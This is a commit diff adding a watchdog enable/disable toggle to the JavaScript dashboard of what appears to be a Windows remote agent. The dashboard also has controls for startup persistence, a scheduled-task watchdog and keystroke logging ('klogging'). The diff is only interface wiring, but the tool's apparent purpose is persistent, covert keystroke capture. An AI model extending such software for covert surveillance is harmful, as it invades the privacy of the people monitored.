feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable - Scheduled task now runs every 15 minutes - Use schtasks command line instead of XML - Dashboard shows watchdog enabled state - Preserve watchdog state during install
This commit is contained in:
@@ -15,6 +15,9 @@
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
const watchdogState = document.getElementById("watchdog-state");
|
||||
const watchdogEnable = document.getElementById("watchdog-enable");
|
||||
const watchdogDisable = document.getElementById("watchdog-disable");
|
||||
const keylogState = document.getElementById("keylog-state");
|
||||
const keylogEnable = document.getElementById("keylog-enable");
|
||||
const keylogDisable = document.getElementById("keylog-disable");
|
||||
@@ -135,9 +138,11 @@
|
||||
["Uptime", `${data.uptime_seconds}s`],
|
||||
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
|
||||
["klogging", data.klogging ? "on" : "off"],
|
||||
];
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
setWatchdog(Boolean(data.watchdog_enabled));
|
||||
currentListen = data.listen_address || "";
|
||||
syncUpdateMeta();
|
||||
loadSettings().catch((err) => showError(err.message));
|
||||
@@ -312,6 +317,12 @@
|
||||
startupRemove.disabled = !enabled;
|
||||
}
|
||||
|
||||
function setWatchdog(enabled) {
|
||||
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
|
||||
watchdogEnable.disabled = enabled;
|
||||
watchdogDisable.disabled = !enabled;
|
||||
}
|
||||
|
||||
function setKeylog(enabled) {
|
||||
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
||||
keylogEnable.disabled = enabled;
|
||||
@@ -339,6 +350,15 @@
|
||||
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||
const data = await res.json();
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
setWatchdog(Boolean(data.watchdog_enabled));
|
||||
loadStatus().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
async function setWatchdogEnabled(enabled) {
|
||||
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
|
||||
const data = await res.json();
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
setWatchdog(Boolean(data.watchdog_enabled));
|
||||
loadStatus().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
@@ -729,6 +749,12 @@
|
||||
startupRemove.addEventListener("click", () => {
|
||||
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
watchdogEnable.addEventListener("click", () => {
|
||||
setWatchdogEnabled(true).catch((err) => showError(err.message));
|
||||
});
|
||||
watchdogDisable.addEventListener("click", () => {
|
||||
setWatchdogEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
keylogEnable.addEventListener("click", () => {
|
||||
setKeylogEnabled(true).catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user